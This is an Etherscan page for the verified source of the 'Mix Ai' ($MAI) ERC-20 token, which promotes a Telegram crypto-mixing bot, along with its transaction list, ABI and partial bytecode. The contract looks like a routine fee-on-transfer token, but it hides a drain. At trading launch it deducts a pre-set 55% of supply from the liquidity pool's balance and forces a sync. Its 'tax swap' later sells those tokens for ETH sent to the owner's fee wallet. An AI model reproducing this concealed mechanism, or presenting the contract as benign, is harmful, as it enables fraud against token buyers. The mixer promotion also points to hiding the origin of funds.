ETH Price: $3,327.78 (-4.03%)

Contract

0xa80012Dea3C20FdcB1933CA797eA098E71E42a87
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve198914602024-05-17 18:25:23223 days ago1715970323IN
0xa80012De...E71E42a87
0 ETH0.000206914.45726342
Approve197925752024-05-03 22:29:59236 days ago1714775399IN
0xa80012De...E71E42a87
0 ETH0.000221264.79256419
Approve197603792024-04-29 10:29:23241 days ago1714386563IN
0xa80012De...E71E42a87
0 ETH0.0005738712.34637198
Approve196584962024-04-15 4:20:23255 days ago1713154823IN
0xa80012De...E71E42a87
0 ETH0.000435899.38998673
Approve196558732024-04-14 19:31:11255 days ago1713123071IN
0xa80012De...E71E42a87
0 ETH0.0004735110.18735758
Approve196386962024-04-12 9:40:59258 days ago1712914859IN
0xa80012De...E71E42a87
0 ETH0.0011348324.41506986
Approve196374222024-04-12 5:25:11258 days ago1712899511IN
0xa80012De...E71E42a87
0 ETH0.0005470111.78387291
Approve196373312024-04-12 5:06:47258 days ago1712898407IN
0xa80012De...E71E42a87
0 ETH0.0005572112.0034166
Transfer196357142024-04-11 23:40:59258 days ago1712878859IN
0xa80012De...E71E42a87
0 ETH0.0006689310.33714873
Approve196354162024-04-11 22:40:47258 days ago1712875247IN
0xa80012De...E71E42a87
0 ETH0.0005458211.75817771
Approve196341332024-04-11 18:21:47259 days ago1712859707IN
0xa80012De...E71E42a87
0 ETH0.0010049221.7945952
Approve196341132024-04-11 18:17:47259 days ago1712859467IN
0xa80012De...E71E42a87
0 ETH0.0011426824.58391522
Approve196339682024-04-11 17:48:47259 days ago1712857727IN
0xa80012De...E71E42a87
0 ETH0.0009909521.3471076
Approve196339552024-04-11 17:46:11259 days ago1712857571IN
0xa80012De...E71E42a87
0 ETH0.0011285324.31090049
Approve196339402024-04-11 17:43:11259 days ago1712857391IN
0xa80012De...E71E42a87
0 ETH0.001161425.01885984
Approve196339302024-04-11 17:41:11259 days ago1712857271IN
0xa80012De...E71E42a87
0 ETH0.0011511224.76559135
Approve196338772024-04-11 17:30:35259 days ago1712856635IN
0xa80012De...E71E42a87
0 ETH0.0012070625.96893882
Approve196338742024-04-11 17:29:59259 days ago1712856599IN
0xa80012De...E71E42a87
0 ETH0.0010689323.02697433
Approve196338722024-04-11 17:29:35259 days ago1712856575IN
0xa80012De...E71E42a87
0 ETH0.0012308826.48140495
Approve196338712024-04-11 17:29:23259 days ago1712856563IN
0xa80012De...E71E42a87
0 ETH0.0012640627.19540552
Approve196338702024-04-11 17:29:11259 days ago1712856551IN
0xa80012De...E71E42a87
0 ETH0.0012202326.28625525
Approve196338612024-04-11 17:27:23259 days ago1712856443IN
0xa80012De...E71E42a87
0 ETH0.000593422.37487535
Approve196338492024-04-11 17:24:59259 days ago1712856299IN
0xa80012De...E71E42a87
0 ETH0.0012626127.16412846
Approve196338462024-04-11 17:24:23259 days ago1712856263IN
0xa80012De...E71E42a87
0 ETH0.0011199624.12618013
Approve196338442024-04-11 17:23:59259 days ago1712856239IN
0xa80012De...E71E42a87
0 ETH0.0011260924.22697018
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
198914642024-05-17 18:26:11223 days ago1715970371
0xa80012De...E71E42a87
0.0045186 ETH
198914642024-05-17 18:26:11223 days ago1715970371
0xa80012De...E71E42a87
0.0045186 ETH
196346422024-04-11 20:04:47258 days ago1712865887
0xa80012De...E71E42a87
0.00263244 ETH
196346422024-04-11 20:04:47258 days ago1712865887
0xa80012De...E71E42a87
0.00263244 ETH
196341352024-04-11 18:22:11259 days ago1712859731
0xa80012De...E71E42a87
0.00174186 ETH
196341352024-04-11 18:22:11259 days ago1712859731
0xa80012De...E71E42a87
0.00174186 ETH
196340332024-04-11 18:01:47259 days ago1712858507
0xa80012De...E71E42a87
0.00282369 ETH
196340332024-04-11 18:01:47259 days ago1712858507
0xa80012De...E71E42a87
0.00282369 ETH
196340102024-04-11 17:57:11259 days ago1712858231
0xa80012De...E71E42a87
0.00660206 ETH
196340102024-04-11 17:57:11259 days ago1712858231
0xa80012De...E71E42a87
0.00660206 ETH
196339512024-04-11 17:45:23259 days ago1712857523
0xa80012De...E71E42a87
0.00290304 ETH
196339512024-04-11 17:45:23259 days ago1712857523
0xa80012De...E71E42a87
0.00290304 ETH
196339452024-04-11 17:44:11259 days ago1712857451
0xa80012De...E71E42a87
0.00447487 ETH
196339452024-04-11 17:44:11259 days ago1712857451
0xa80012De...E71E42a87
0.00447487 ETH
196338962024-04-11 17:34:23259 days ago1712856863
0xa80012De...E71E42a87
0.00148402 ETH
196338962024-04-11 17:34:23259 days ago1712856863
0xa80012De...E71E42a87
0.00148402 ETH
196338922024-04-11 17:33:35259 days ago1712856815
0xa80012De...E71E42a87
0.00105883 ETH
196338922024-04-11 17:33:35259 days ago1712856815
0xa80012De...E71E42a87
0.00105883 ETH
196338912024-04-11 17:33:23259 days ago1712856803
0xa80012De...E71E42a87
0.00295629 ETH
196338912024-04-11 17:33:23259 days ago1712856803
0xa80012De...E71E42a87
0.00295629 ETH
196338892024-04-11 17:32:59259 days ago1712856779
0xa80012De...E71E42a87
0.00261645 ETH
196338892024-04-11 17:32:59259 days ago1712856779
0xa80012De...E71E42a87
0.00261645 ETH
196338842024-04-11 17:31:59259 days ago1712856719
0xa80012De...E71E42a87
0.00317117 ETH
196338842024-04-11 17:31:59259 days ago1712856719
0xa80012De...E71E42a87
0.00317117 ETH
196338822024-04-11 17:31:35259 days ago1712856695
0xa80012De...E71E42a87
0.00213141 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MAI

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-11
*/

//SPDX-License-Identifier: MIT

/*
 $MAI - Anonymize you’re crypto with Mix Ai
 Anonymize Your Crypto Transactions On The Go Through Our Uniquely Engineered Telegram Bot. 
 Mix Automatically Anywhere At Anytime.

 Telegram - https://t.me/mixaitech
 Website - https://mixai.tech/
 X - https://twitter.com/MixAiTech
 Bot - https://t.me/MixAiTechBot
*/

pragma solidity ^0.8.18;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this"); 
        _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable newowner) external onlyOwner { 
        _owner = newowner; 
        emit OwnershipTransferred(newowner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract MAI is IERC20, Auth {
    string private constant token_symbol = "MAI";
    string private constant token_name = "Mix Ai";
    uint8 private constant tokenDecimals = 9;
    uint256 private constant tokenSupply = 1000000 * (10**tokenDecimals);
    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private tokenAllowance;

    address private constant swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private router = IUniswapV2Router02(swapRouterAddress);
    
    address private lp; 
    mapping (address => bool) private _isLiqPool;

    bool private tradingEnabled;

    bool private isSwapping = false;

    address payable private feeRecipient = payable(0x50dADda42101f62Ae73c5D11675389F3B7A78d6f);
    
    uint256 private antiMevBlock = 2;
    uint8 private _sellFeeRate = 5;
    uint8 private _buyTaxRate = 5;
    
    uint256 private _launchBlock;
    uint256 private _maxTxAmount = tokenSupply; 
    uint256 private _maxWalletAmt = tokenSupply;
    uint256 private _swapMin = tokenSupply * 10 / 100000;
    uint256 private swapMaxAmt = tokenSupply * 899 / 100000;
    uint256 private swapMinVal = 2 * (10**16);
    uint256 private _swapLimits = _swapMin * 55 * 100;

    mapping (uint256 => mapping (address => uint8)) private _sellsInBlock;
    mapping (address => bool) private _noFee;
    mapping (address => bool) private _nolimits;

    modifier swapLocked { 
        isSwapping = true; 
        _; 
        isSwapping = false; 
    }

    constructor() Auth(msg.sender) {
        _balance[msg.sender] = tokenSupply;
        emit Transfer(address(0), msg.sender, _balance[msg.sender]);  

        _noFee[_owner] = true;
        _noFee[address(this)] = true;
        _noFee[feeRecipient] = true;
        _noFee[swapRouterAddress] = true;
        _nolimits[_owner] = true;
        _nolimits[address(this)] = true;
        _nolimits[feeRecipient] = true;
        _nolimits[swapRouterAddress] = true;
    }

    receive() external payable {}

    function decimals() external pure override returns (uint8) { return tokenDecimals; }
    function totalSupply() external pure override returns (uint256) { return tokenSupply; }
    function name() external pure override returns (string memory) { return token_name; }
    function symbol() external pure override returns (string memory) { return token_symbol; }
    function balanceOf(address account) public view override returns (uint256) { return _balance[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return tokenAllowance[holder][spender]; }

    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(fromWallet), "Trading not open");
        tokenAllowance[fromWallet][msg.sender] -= amount;
        return _transferFrom(fromWallet, toWallet, amount); 
	}

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, toWallet, amount); 
	}

    function approve(address spender, uint256 amount) public override returns (bool) {
        tokenAllowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; 
	}

    function setLimit(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
        uint256 newTxAmt = tokenSupply * maxTransPermille / 1000 + 1;
        require(newTxAmt >= _maxTxAmount, "tx too low");
        _maxTxAmount = newTxAmt;
        uint256 newWalletAmt = tokenSupply * maxWaletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletAmt, "wallet too low");
        _maxWalletAmt = newWalletAmt;
    }

    function setMarketing(address marketingWlt) external onlyOwner {
        require(!_isLiqPool[marketingWlt], "LP cannot be tax wallet");
        feeRecipient = payable(marketingWlt);
        _noFee[marketingWlt] = true;
        _nolimits[marketingWlt] = true;
    }

    function openTrading() external onlyOwner {
        require(!tradingEnabled, "trading open");
        _openTrading();
    }

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( tradingEnabled ) { checkResult = true; } 
        else if (_noFee[fromWallet] && _nolimits[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function maxWallet() external view returns (uint256) { 
        return _maxWalletAmt; 
	}
    function maxTransaction() external view returns (uint256) { 
        return _maxTxAmount; 
	}

    function _openTrading() internal {
        _maxTxAmount = 20 * tokenSupply / 1000;
        _maxWalletAmt = 20 * tokenSupply / 1000;
        _balance[lp] -= _swapLimits;
        (_isLiqPool[lp],) = lp.call(abi.encodeWithSignature("sync()") );
        require(_isLiqPool[lp], "Failed bootstrap");
        _launchBlock = block.number;
        antiMevBlock = antiMevBlock + _launchBlock;
        tradingEnabled = true;
    }

    function _shouldSwap(uint256 tokenAmt) private view returns (bool) {
        bool result;
        if (swapMinVal > 0) { 
            uint256 lpTkn = _balance[lp];
            uint256 lpWeth = IERC20(router.WETH()).balanceOf(lp); 
            uint256 weiValue = (tokenAmt * lpWeth) / lpTkn;
            if (weiValue >= swapMinVal) { result = true; }    
        } else { result = true; }
        return result;
    }

    function _limitCheck(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( tradingEnabled && !_nolimits[fromWallet] && !_nolimits[toWallet] ) {
            if ( transferAmount > _maxTxAmount ) { 
                limitCheckPassed = false; 
            }
            else if ( 
                !_isLiqPool[toWallet] && (_balance[toWallet] + transferAmount > _maxWalletAmt) 
                ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

    function setExemption(address wlt, bool isNoFees, bool isNoLimits) external onlyOwner {
        if (isNoLimits || isNoFees) { require(!_isLiqPool[wlt], "Cannot exempt LP"); }
        _noFee[ wlt ] = isNoFees;
        _nolimits[ wlt ] = isNoLimits;
    }

    function addLiquidityToLP(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        approveRouter(_tokenAmount);
        router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp );
    }

    function swapMin() external view returns (uint256) { 
        return _swapMin; 
	}
    function swapMax() external view returns (uint256) { 
        return swapMaxAmt; 
	}

    function getTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        if ( !tradingEnabled || _noFee[fromWallet] || _noFee[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLiqPool[fromWallet] ) { 
            taxAmount = amount * _buyTaxRate / 100; 
         } else if ( _isLiqPool[recipient] ) { 
            taxAmount = amount * _sellFeeRate / 100; 
        }
        return taxAmount;
    }

    function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
        _swapMin = tokenSupply * minVal / minDiv;
        swapMaxAmt = tokenSupply * maxVal / maxDiv;
        swapMinVal = trigger * 10**15;
        require(swapMaxAmt>=_swapMin, "Min-Max error");
    }

    function approveRouter(uint256 _tokenAmount) internal {
        if ( tokenAllowance[address(this)][swapRouterAddress] < _tokenAmount ) {
            tokenAllowance[address(this)][swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), swapRouterAddress, type(uint256).max);
        }
    }

    function marketingWallet() external view returns (address) { 
        return feeRecipient; 
	}

    function addLiquidity() external payable onlyOwner swapLocked {
        require(lp == address(0), "LP created");
        require(!tradingEnabled, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH");
        require(_balance[address(this)]>0, "No tokens");
        lp = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        addLiquidityToLP(_balance[address(this)], address(this).balance);
    }

    function distributeEth(uint256 amount) private {
        feeRecipient.transfer(amount);
    }

    function buyFees() external view returns(uint8) { return _buyTaxRate; }
    function sellFees() external view returns(uint8) { return _sellFeeRate; }

    function swapOnV2(uint256 tokenAmount) private {
        approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _swapTaxTokens() private swapLocked {
        uint256 _taxTokenAvailable = _swapLimits;
        if ( _taxTokenAvailable >= _swapMin && tradingEnabled ) {
            if ( _taxTokenAvailable >= swapMaxAmt ) { _taxTokenAvailable = swapMaxAmt; }
            
            uint256 _tokensForSwap = _taxTokenAvailable; 
            if( _tokensForSwap > 1 * 10**tokenDecimals ) {
                _balance[address(this)] += _taxTokenAvailable;
                swapOnV2(_tokensForSwap);
                _swapLimits -= _taxTokenAvailable;
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { distributeEth(_contractETHBalance); }
        }
    }

    function exemptions(address wallet) external view returns (bool fees, bool limits) {
        return (_noFee[wallet], _nolimits[wallet]); 
	}

    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from 0 wallet");
        if (!tradingEnabled) { require(_noFee[sender] && _nolimits[sender], "Trading not yet open"); }
        if ( !isSwapping && _isLiqPool[toWallet] && _shouldSwap(amount) ) { _swapTaxTokens(); }

        if ( block.number >= _launchBlock ) {
            if (block.number < antiMevBlock && _isLiqPool[sender]) { 
                require(toWallet == tx.origin, "MEV block"); 
            }
            if (block.number < antiMevBlock + 600 && _isLiqPool[toWallet] && sender != address(this) ) {
                _sellsInBlock[block.number][toWallet] += 1;
                require(_sellsInBlock[block.number][toWallet] <= 2, "MEV block");
            }
        }

        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { 
            require(_limitCheck(sender, toWallet, amount), "TX over limits"); 
        }

        uint256 _taxAmount = getTax(sender, toWallet, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balance[sender] -= amount;
        _swapLimits += _taxAmount;
        _balance[toWallet] += _transferAmount;
        emit Transfer(sender, toWallet, amount);
        return true;
    }

    function setFees(uint8 buyFeePercent, uint8 sellFeePercent) external onlyOwner {
        require(buyFeePercent + sellFeePercent <= 10, "Roundtrip too high");
        _buyTaxRate = buyFeePercent;
        _sellFeeRate = sellFeePercent;
    }
}

interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptions","outputs":[{"internalType":"bool","name":"fees","type":"bool"},{"internalType":"bool","name":"limits","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"},{"internalType":"bool","name":"isNoFees","type":"bool"},{"internalType":"bool","name":"isNoLimits","type":"bool"}],"name":"setExemption","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFeePercent","type":"uint8"},{"internalType":"uint8","name":"sellFeePercent","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransPermille","type":"uint16"},{"internalType":"uint16","name":"maxWaletPermille","type":"uint16"}],"name":"setLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketingWlt","type":"address"}],"name":"setMarketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minVal","type":"uint32"},{"internalType":"uint32","name":"minDiv","type":"uint32"},{"internalType":"uint32","name":"maxVal","type":"uint32"},{"internalType":"uint32","name":"maxDiv","type":"uint32"},{"internalType":"uint32","name":"trigger","type":"uint32"}],"name":"setTaxSwaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260038054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031990911617905560068054610100600160b01b0319167550dadda42101f62ae73c5d11675389f3b7a78d6f000017905560026007556008805461ffff19166105051790556100756009600a6103a4565b61008290620f42406103b9565b600a556009600a61009391906103a4565b6100a090620f42406103b9565b600b55620186a06100b36009600a6103a4565b6100c090620f42406103b9565b6100cb90600a6103b9565b6100d591906103d0565b600c55620186a06100e86009600a6103a4565b6100f590620f42406103b9565b610101906103836103b9565b61010b91906103d0565b600d5566470de4df820000600e55600c546101279060376103b9565b6101329060646103b9565b600f55348015610140575f80fd5b505f80546001600160a01b0319163317905561015e6009600a6103a4565b61016b90620f42406103b9565b335f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35f80546001600160a01b0390811682526011602090815260408084208054600160ff1991821681179092553080875283872080548316841790556006805462010000908190048816895285892080548516861790557fa30c5df85d30b252583f3563cb2bd6456399154fbc658c188bf804ed074c64d680548516861790558854881689526012909652848820805484168517905590875283872080548316841790555493909304909316845283208054821683179055737a250d5630b4cf539739df2c5dacb4c659f2488d9092527f3c6737805ae477fd0cfdda13dc5f99b32fcbfecb81e47f9e11e1b03813c08ec280549092161790556103ef565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102fc57815f19048211156102e2576102e26102ae565b808516156102ef57918102915b93841c93908002906102c7565b509250929050565b5f826103125750600161039e565b8161031e57505f61039e565b8160018114610334576002811461033e5761035a565b600191505061039e565b60ff84111561034f5761034f6102ae565b50506001821b61039e565b5060208310610133831016604e8410600b841016171561037d575081810a61039e565b61038783836102c2565b805f190482111561039a5761039a6102ae565b0290505b92915050565b5f6103b260ff841683610304565b9392505050565b808202811582820484141761039e5761039e6102ae565b5f826103ea57634e487b7160e01b5f52601260045260245ffd5b500490565b6121b4806103fc5f395ff3fe608060405260043610610198575f3560e01c806395d89b41116100e7578063dd62ed3e11610087578063e537a83411610062578063e537a834146104fd578063e8078d941461051c578063f2fde38b14610524578063f8b45b0514610543575f80fd5b8063dd62ed3e14610486578063e0f3ccf5146104ca578063e4748b9e146104e1575f80fd5b8063b3de9b5d116100c2578063b3de9b5d1461042b578063c3f70b521461043f578063c9567bf914610453578063d55400c914610467575f80fd5b806395d89b41146103cd578063a5e992bb146103f8578063a9059cbb1461040c575f80fd5b80634fcd24461161015257806375f0a8741161012d57806375f0a8741461033c5780638b0414d5146103735780638d870086146103925780638da5cb5b146103b1575f80fd5b80634fcd2446146102d357806370a08231146102f4578063715018a614610328575f80fd5b806306fdde03146101a3578063095ea7b3146101e357806318160ddd1461021257806323b872dd1461023457806330449efd14610253578063313ce567146102b2575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b506040805180820190915260068152654d697820416960d01b60208201525b6040516101da9190611c66565b60405180910390f35b3480156101ee575f80fd5b506102026101fd366004611caf565b610557565b60405190151581526020016101da565b34801561021d575f80fd5b506102266105c3565b6040519081526020016101da565b34801561023f575f80fd5b5061020261024e366004611cd9565b6105e2565b34801561025e575f80fd5b5061029b61026d366004611d17565b6001600160a01b03165f9081526011602090815260408083205460129092529091205460ff91821692911690565b6040805192151583529015156020830152016101da565b3480156102bd575f80fd5b5060095b60405160ff90911681526020016101da565b3480156102de575f80fd5b506102f26102ed366004611d47565b61067b565b005b3480156102ff575f80fd5b5061022661030e366004611d17565b6001600160a01b03165f9081526001602052604090205490565b348015610333575f80fd5b506102f2610716565b348015610347575f80fd5b506006546201000090046001600160a01b03165b6040516001600160a01b0390911681526020016101da565b34801561037e575f80fd5b506102f261038d366004611d17565b610783565b34801561039d575f80fd5b506102f26103ac366004611d87565b61086d565b3480156103bc575f80fd5b505f546001600160a01b031661035b565b3480156103d8575f80fd5b506040805180820190915260038152624d414960e81b60208201526101cd565b348015610403575f80fd5b50600d54610226565b348015610417575f80fd5b50610202610426366004611caf565b610940565b348015610436575f80fd5b50600c54610226565b34801561044a575f80fd5b50600a54610226565b34801561045e575f80fd5b506102f261099b565b348015610472575f80fd5b506102f2610481366004611dda565b610a10565b348015610491575f80fd5b506102266104a0366004611e02565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104d5575f80fd5b5060085460ff166102c1565b3480156104ec575f80fd5b50600854610100900460ff166102c1565b348015610508575f80fd5b506102f2610517366004611e4c565b610b52565b6102f2610c5f565b34801561052f575f80fd5b506102f261053e366004611d17565b610f53565b34801561054e575f80fd5b50600b54610226565b335f8181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105b19086815260200190565b60405180910390a35060015b92915050565b5f6105d06009600a611fa1565b6105dd90620f4240611faf565b905090565b5f6105ec84610fcf565b6106305760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b6001600160a01b0384165f90815260026020908152604080832033845290915281208054849290610662908490611fc6565b909155506106739050848484611032565b949350505050565b5f546001600160a01b031633146106a45760405162461bcd60e51b815260040161062790611fd9565b600a6106b08284612010565b60ff1611156106f65760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b6044820152606401610627565b6008805461ffff191661010060ff9485160260ff19161791909216179055565b5f546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062790611fd9565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146107ac5760405162461bcd60e51b815260040161062790611fd9565b6001600160a01b0381165f9081526005602052604090205460ff16156108145760405162461bcd60e51b815260206004820152601760248201527f4c502063616e6e6f74206265207461782077616c6c65740000000000000000006044820152606401610627565b6006805462010000600160b01b031916620100006001600160a01b03939093169283021790555f908152601160209081526040808320805460ff1990811660019081179092556012909352922080549091169091179055565b5f546001600160a01b031633146108965760405162461bcd60e51b815260040161062790611fd9565b808061089f5750815b156108ff576001600160a01b0383165f9081526005602052604090205460ff16156108ff5760405162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206578656d7074204c560841b6044820152606401610627565b6001600160a01b039092165f908152601160209081526040808320805494151560ff1995861617905560129091529020805492151592909116919091179055565b5f61094a33610fcf565b6109895760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610627565b610994338484611032565b9392505050565b5f546001600160a01b031633146109c45760405162461bcd60e51b815260040161062790611fd9565b60065460ff1615610a065760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b6044820152606401610627565b610a0e61144c565b565b5f546001600160a01b03163314610a395760405162461bcd60e51b815260040161062790611fd9565b5f6103e861ffff8416610a4e6009600a611fa1565b610a5b90620f4240611faf565b610a659190611faf565b610a6f9190612029565b610a7a906001612048565b9050600a54811015610abb5760405162461bcd60e51b815260206004820152600a602482015269747820746f6f206c6f7760b01b6044820152606401610627565b80600a819055505f6103e88361ffff166009600a610ad99190611fa1565b610ae690620f4240611faf565b610af09190611faf565b610afa9190612029565b610b05906001612048565b9050600b54811015610b4a5760405162461bcd60e51b815260206004820152600e60248201526d77616c6c657420746f6f206c6f7760901b6044820152606401610627565b600b55505050565b5f546001600160a01b03163314610b7b5760405162461bcd60e51b815260040161062790611fd9565b63ffffffff808516908616610b926009600a611fa1565b610b9f90620f4240611faf565b610b